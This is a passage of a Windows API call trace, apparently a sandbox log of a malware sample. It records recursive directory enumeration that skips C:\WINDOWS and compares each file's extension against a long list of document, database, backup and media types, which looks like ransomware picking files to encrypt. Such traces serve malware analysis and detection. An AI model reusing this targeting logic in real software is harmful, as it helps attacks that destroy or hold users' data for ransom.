	[0164.205] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca27806, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0
	[0164.205] FindClose (in: hFindFile=0x4140c58 | out: hFindFile=0x4140c58) returned 1
	[0164.205] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.205] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="16", cAlternateFileName="")) returned 0
	[0164.205] FindClose (in: hFindFile=0x4140298 | out: hFindFile=0x4140298) returned 1
	[0164.205] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0164.205] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0
	[0164.205] FindClose (in: hFindFile=0x41401d8 | out: hFindFile=0x41401d8) returned 1
	[0164.205] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0164.431] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e16872b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e16872b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ODBC", cAlternateFileName="")) returned 1
	[0164.431] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4110050
	[0164.432] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\ODBC\\*", lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e16872b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e16872b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140298
	[0164.433] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e16872b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e16872b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.433] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e2272ee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e2272ee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data Sources", cAlternateFileName="DATASO~1")) returned 1
	[0164.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\ODBC\\Data Sources") returned 82
	[0164.433] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\ODBC\\Data Sources") returned 1
	[0164.433] lstrlenW (lpString="Data Sources") returned 12
	[0164.433] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Data Sources") returned -1
	[0164.433] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0164.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\ODBC\\Data Sources") returned 82
	[0164.433] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\ODBC\\Data Sources\\*", lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e2272ee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e2272ee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x41401d8
	[0164.433] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e2272ee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e2272ee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0164.433] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e2272ee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e2272ee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0
	[0164.433] FindClose (in: hFindFile=0x41401d8 | out: hFindFile=0x41401d8) returned 1
	[0164.433] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0164.433] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e2272ee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e2272ee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data Sources", cAlternateFileName="DATASO~1")) returned 0
	[0164.433] FindClose (in: hFindFile=0x4140298 | out: hFindFile=0x4140298) returned 1
	[0164.433] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0164.434] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SYSTEM", cAlternateFileName="")) returned 1
	[0164.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\SYSTEM") returned 71
	[0164.434] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\SYSTEM") returned 1
	[0164.434] lstrlenW (lpString="SYSTEM") returned 6
	[0164.434] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="SYSTEM") returned -1
	[0164.434] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4110050
	[0164.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\SYSTEM") returned 71
	[0164.434] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\SYSTEM\\*", lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41401d8
	[0164.434] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.434] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI", cAlternateFileName="")) returned 1
	[0164.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\SYSTEM\\MSMAPI") returned 78
	[0164.434] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\SYSTEM\\MSMAPI") returned 1
	[0164.434] lstrlenW (lpString="MSMAPI") returned 6
	[0164.434] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="MSMAPI") returned -1
	[0164.434] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0164.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\SYSTEM\\MSMAPI") returned 78
	[0164.434] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\SYSTEM\\MSMAPI\\*", lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140298
	[0164.435] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0164.435] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1
	[0164.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\SYSTEM\\MSMAPI\\1033") returned 83
	[0164.435] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\SYSTEM\\MSMAPI\\1033") returned 1
	[0164.435] lstrlenW (lpString="1033") returned 4
	[0164.435] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="1033") returned 1
	[0164.435] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4272990
	[0164.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\SYSTEM\\MSMAPI\\1033") returned 83
	[0164.436] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\SYSTEM\\MSMAPI\\1033\\*", lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140fd8
	[0164.436] FindNextFileW (in: hFindFile=0x4140fd8, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.436] FindNextFileW (in: hFindFile=0x4140fd8, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x10260, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 1
	[0164.436] lstrlenW (lpString="MSMAPI32.DLL") returned 12
	[0164.436] lstrlenW (lpString=".1cd") returned 4
	[0164.436] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0164.436] lstrlenW (lpString=".3ds") returned 4
	[0164.436] lstrcmpiW (lpString1=".3ds", lpString2=".DLL") returned -1
	[0164.436] lstrlenW (lpString=".3fr") returned 4
	[0164.436] lstrcmpiW (lpString1=".3fr", lpString2=".DLL") returned -1
	[0164.436] lstrlenW (lpString=".3g2") returned 4
	[0164.436] lstrcmpiW (lpString1=".3g2", lpString2=".DLL") returned -1
	[0164.436] lstrlenW (lpString=".3gp") returned 4
	[0164.436] lstrcmpiW (lpString1=".3gp", lpString2=".DLL") returned -1
	[0164.436] lstrlenW (lpString=".7z") returned 3
	[0164.436] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0164.436] lstrlenW (lpString=".accda") returned 6
	[0164.436] lstrcmpiW (lpString1=".accda", lpString2="32.DLL") returned -1
	[0164.437] lstrlenW (lpString=".accdb") returned 6
	[0164.437] lstrcmpiW (lpString1=".accdb", lpString2="32.DLL") returned -1
	[0164.437] lstrlenW (lpString=".accdc") returned 6
	[0164.437] lstrcmpiW (lpString1=".accdc", lpString2="32.DLL") returned -1
	[0164.437] lstrlenW (lpString=".accde") returned 6
	[0164.437] lstrcmpiW (lpString1=".accde", lpString2="32.DLL") returned -1
	[0164.437] lstrlenW (lpString=".accdt") returned 6
	[0164.437] lstrcmpiW (lpString1=".accdt", lpString2="32.DLL") returned -1
	[0164.437] lstrlenW (lpString=".accdw") returned 6
	[0164.437] lstrcmpiW (lpString1=".accdw", lpString2="32.DLL") returned -1
	[0164.437] lstrlenW (lpString=".adb") returned 4
	[0164.437] lstrcmpiW (lpString1=".adb", lpString2=".DLL") returned -1
	[0164.437] lstrlenW (lpString=".adp") returned 4
	[0164.437] lstrcmpiW (lpString1=".adp", lpString2=".DLL") returned -1
	[0164.437] lstrlenW (lpString=".ai") returned 3
	[0164.437] lstrcmpiW (lpString1=".ai", lpString2="DLL") returned -1
	[0164.437] lstrlenW (lpString=".ai3") returned 4
	[0164.437] lstrcmpiW (lpString1=".ai3", lpString2=".DLL") returned -1
	[0164.437] lstrlenW (lpString=".ai4") returned 4
	[0164.437] lstrcmpiW (lpString1=".ai4", lpString2=".DLL") returned -1
	[0164.437] lstrlenW (lpString=".ai5") returned 4
	[0164.437] lstrcmpiW (lpString1=".ai5", lpString2=".DLL") returned -1
	[0164.437] lstrlenW (lpString=".ai6") returned 4
	[0164.437] lstrcmpiW (lpString1=".ai6", lpString2=".DLL") returned -1
	[0164.437] lstrlenW (lpString=".ai7") returned 4
	[0164.437] lstrcmpiW (lpString1=".ai7", lpString2=".DLL") returned -1
	[0164.437] lstrlenW (lpString=".ai8") returned 4
	[0164.437] lstrcmpiW (lpString1=".ai8", lpString2=".DLL") returned -1
	[0164.437] lstrlenW (lpString=".anim") returned 5
	[0164.437] lstrcmpiW (lpString1=".anim", lpString2="2.DLL") returned -1
	[0164.437] lstrlenW (lpString=".arw") returned 4
	[0164.437] lstrcmpiW (lpString1=".arw", lpString2=".DLL") returned -1
	[0164.437] lstrlenW (lpString=".as") returned 3
	[0164.437] lstrcmpiW (lpString1=".as", lpString2="DLL") returned -1
	[0164.437] lstrlenW (lpString=".asa") returned 4
	[0164.438] lstrcmpiW (lpString1=".asa", lpString2=".DLL") returned -1
	[0164.438] lstrlenW (lpString=".asc") returned 4
	[0164.438] lstrcmpiW (lpString1=".asc", lpString2=".DLL") returned -1
	[0164.438] lstrlenW (lpString=".ascx") returned 5
	[0164.438] lstrcmpiW (lpString1=".ascx", lpString2="2.DLL") returned -1
	[0164.438] lstrlenW (lpString=".asm") returned 4
	[0164.438] lstrcmpiW (lpString1=".asm", lpString2=".DLL") returned -1
	[0164.438] lstrlenW (lpString=".asmx") returned 5
	[0164.438] lstrcmpiW (lpString1=".asmx", lpString2="2.DLL") returned -1
	[0164.438] lstrlenW (lpString=".asp") returned 4
	[0164.438] lstrcmpiW (lpString1=".asp", lpString2=".DLL") returned -1
	[0164.438] lstrlenW (lpString=".aspx") returned 5
	[0164.438] lstrcmpiW (lpString1=".aspx", lpString2="2.DLL") returned -1
	[0164.438] lstrlenW (lpString=".asr") returned 4
	[0164.438] lstrcmpiW (lpString1=".asr", lpString2=".DLL") returned -1
	[0164.438] lstrlenW (lpString=".asx") returned 4
	[0164.438] lstrcmpiW (lpString1=".asx", lpString2=".DLL") returned -1
	[0164.438] lstrlenW (lpString=".avi") returned 4
	[0164.438] lstrcmpiW (lpString1=".avi", lpString2=".DLL") returned -1
	[0164.438] lstrlenW (lpString=".avs") returned 4
	[0164.438] lstrcmpiW (lpString1=".avs", lpString2=".DLL") returned -1
	[0164.438] lstrlenW (lpString=".backup") returned 7
	[0164.438] lstrcmpiW (lpString1=".backup", lpString2="I32.DLL") returned -1
	[0164.438] lstrlenW (lpString=".bak") returned 4
	[0164.438] lstrcmpiW (lpString1=".bak", lpString2=".DLL") returned -1
	[0164.438] lstrlenW (lpString=".bay") returned 4
	[0164.438] lstrcmpiW (lpString1=".bay", lpString2=".DLL") returned -1
	[0164.438] lstrlenW (lpString=".bd") returned 3
	[0164.438] lstrcmpiW (lpString1=".bd", lpString2="DLL") returned -1
	[0164.438] lstrlenW (lpString=".bin") returned 4
	[0164.438] lstrcmpiW (lpString1=".bin", lpString2=".DLL") returned -1
	[0164.438] lstrlenW (lpString=".bmp") returned 4
	[0164.438] lstrcmpiW (lpString1=".bmp", lpString2=".DLL") returned -1
	[0164.438] lstrlenW (lpString=".bz2") returned 4
	[0164.438] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0164.439] lstrlenW (lpString=".c") returned 2
	[0164.439] lstrcmpiW (lpString1=".c", lpString2="LL") returned -1
	[0164.439] lstrlenW (lpString=".cdr") returned 4
	[0164.439] lstrcmpiW (lpString1=".cdr", lpString2=".DLL") returned -1
	[0164.439] lstrlenW (lpString=".cer") returned 4
	[0164.439] lstrcmpiW (lpString1=".cer", lpString2=".DLL") returned -1
	[0164.439] lstrlenW (lpString=".cf") returned 3
	[0164.439] lstrcmpiW (lpString1=".cf", lpString2="DLL") returned -1
	[0164.439] lstrlenW (lpString=".cfc") returned 4
	[0164.439] lstrcmpiW (lpString1=".cfc", lpString2=".DLL") returned -1
	[0164.439] lstrlenW (lpString=".cfm") returned 4
	[0164.439] lstrcmpiW (lpString1=".cfm", lpString2=".DLL") returned -1
	[0164.439] lstrlenW (lpString=".cfml") returned 5
	[0164.439] lstrcmpiW (lpString1=".cfml", lpString2="2.DLL") returned -1
	[0164.439] lstrlenW (lpString=".cfu") returned 4
	[0164.439] lstrcmpiW (lpString1=".cfu", lpString2=".DLL") returned -1
	[0164.439] lstrlenW (lpString=".chm") returned 4
	[0164.439] lstrcmpiW (lpString1=".chm", lpString2=".DLL") returned -1
	[0164.439] lstrlenW (lpString=".cin") returned 4
	[0164.439] lstrcmpiW (lpString1=".cin", lpString2=".DLL") returned -1
	[0164.439] lstrlenW (lpString=".class") returned 6
	[0164.439] lstrcmpiW (lpString1=".class", lpString2="32.DLL") returned -1
	[0164.439] lstrlenW (lpString=".clx") returned 4
	[0164.439] lstrcmpiW (lpString1=".clx", lpString2=".DLL") returned -1
	[0164.439] lstrlenW (lpString=".config") returned 7
	[0164.439] lstrcmpiW (lpString1=".config", lpString2="I32.DLL") returned -1
	[0164.439] lstrlenW (lpString=".cpp") returned 4
	[0164.439] lstrcmpiW (lpString1=".cpp", lpString2=".DLL") returned -1
	[0164.439] lstrlenW (lpString=".cr2") returned 4
	[0164.439] lstrcmpiW (lpString1=".cr2", lpString2=".DLL") returned -1
	[0164.439] lstrlenW (lpString=".crt") returned 4
	[0164.439] lstrcmpiW (lpString1=".crt", lpString2=".DLL") returned -1
	[0164.439] lstrlenW (lpString=".crw") returned 4
	[0164.439] lstrcmpiW (lpString1=".crw", lpString2=".DLL") returned -1
	[0164.439] lstrlenW (lpString=".cs") returned 3
	[0164.439] lstrcmpiW (lpString1=".cs", lpString2="DLL") returned -1
	[0164.439] lstrlenW (lpString=".css") returned 4
	[0164.440] lstrcmpiW (lpString1=".css", lpString2=".DLL") returned -1
	[0164.440] lstrlenW (lpString=".csv") returned 4
	[0164.440] lstrcmpiW (lpString1=".csv", lpString2=".DLL") returned -1
	[0164.440] lstrlenW (lpString=".cub") returned 4
	[0164.440] lstrcmpiW (lpString1=".cub", lpString2=".DLL") returned -1
	[0164.440] lstrlenW (lpString=".dae") returned 4
	[0164.440] lstrcmpiW (lpString1=".dae", lpString2=".DLL") returned -1
	[0164.440] lstrlenW (lpString=".dat") returned 4
	[0164.440] lstrcmpiW (lpString1=".dat", lpString2=".DLL") returned -1
	[0164.440] lstrlenW (lpString=".db") returned 3
	[0164.440] lstrcmpiW (lpString1=".db", lpString2="DLL") returned -1
	[0164.440] lstrlenW (lpString=".dbf") returned 4
	[0164.440] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0164.440] lstrlenW (lpString=".dbx") returned 4
	[0164.440] lstrcmpiW (lpString1=".dbx", lpString2=".DLL") returned -1
	[0164.440] lstrlenW (lpString=".dc3") returned 4
	[0164.440] lstrcmpiW (lpString1=".dc3", lpString2=".DLL") returned -1
	[0164.440] lstrlenW (lpString=".dcm") returned 4
	[0164.440] lstrcmpiW (lpString1=".dcm", lpString2=".DLL") returned -1
	[0164.440] lstrlenW (lpString=".dcr") returned 4
	[0164.440] lstrcmpiW (lpString1=".dcr", lpString2=".DLL") returned -1
	[0164.440] lstrlenW (lpString=".der") returned 4
	[0164.440] lstrcmpiW (lpString1=".der", lpString2=".DLL") returned -1
	[0164.440] lstrlenW (lpString=".dib") returned 4
	[0164.440] lstrcmpiW (lpString1=".dib", lpString2=".DLL") returned -1
	[0164.440] lstrlenW (lpString=".dic") returned 4
	[0164.440] lstrcmpiW (lpString1=".dic", lpString2=".DLL") returned -1
	[0164.440] lstrlenW (lpString=".dif") returned 4
	[0164.441] lstrcmpiW (lpString1=".dif", lpString2=".DLL") returned -1
	[0164.441] lstrlenW (lpString=".divx") returned 5
	[0164.441] lstrcmpiW (lpString1=".divx", lpString2="2.DLL") returned -1
	[0164.441] lstrlenW (lpString=".djvu") returned 5
	[0164.441] lstrcmpiW (lpString1=".djvu", lpString2="2.DLL") returned -1
	[0164.441] lstrlenW (lpString=".dng") returned 4
	[0164.441] lstrcmpiW (lpString1=".dng", lpString2=".DLL") returned 1
	[0164.441] lstrlenW (lpString=".doc") returned 4
	[0164.441] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0164.441] lstrlenW (lpString=".docm") returned 5
	[0164.441] lstrcmpiW (lpString1=".docm", lpString2="2.DLL") returned -1
	[0164.441] lstrlenW (lpString=".docx") returned 5
	[0164.441] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1
	[0164.441] lstrlenW (lpString=".dot") returned 4
	[0164.441] lstrcmpiW (lpString1=".dot", lpString2=".DLL") returned 1
	[0164.441] lstrlenW (lpString=".dotm") returned 5
	[0164.441] lstrcmpiW (lpString1=".dotm", lpString2="2.DLL") returned -1
	[0164.441] lstrlenW (lpString=".dotx") returned 5
	[0164.441] lstrcmpiW (lpString1=".dotx", lpString2="2.DLL") returned -1
	[0164.441] lstrlenW (lpString=".dpx") returned 4
	[0164.441] lstrcmpiW (lpString1=".dpx", lpString2=".DLL") returned 1
	[0164.441] lstrlenW (lpString=".dqy") returned 4
	[0164.441] lstrcmpiW (lpString1=".dqy", lpString2=".DLL") returned 1
	[0164.441] lstrlenW (lpString=".dsn") returned 4
	[0164.441] lstrcmpiW (lpString1=".dsn", lpString2=".DLL") returned 1
	[0164.441] lstrlenW (lpString=".dt") returned 3
	[0164.441] lstrcmpiW (lpString1=".dt", lpString2="DLL") returned -1
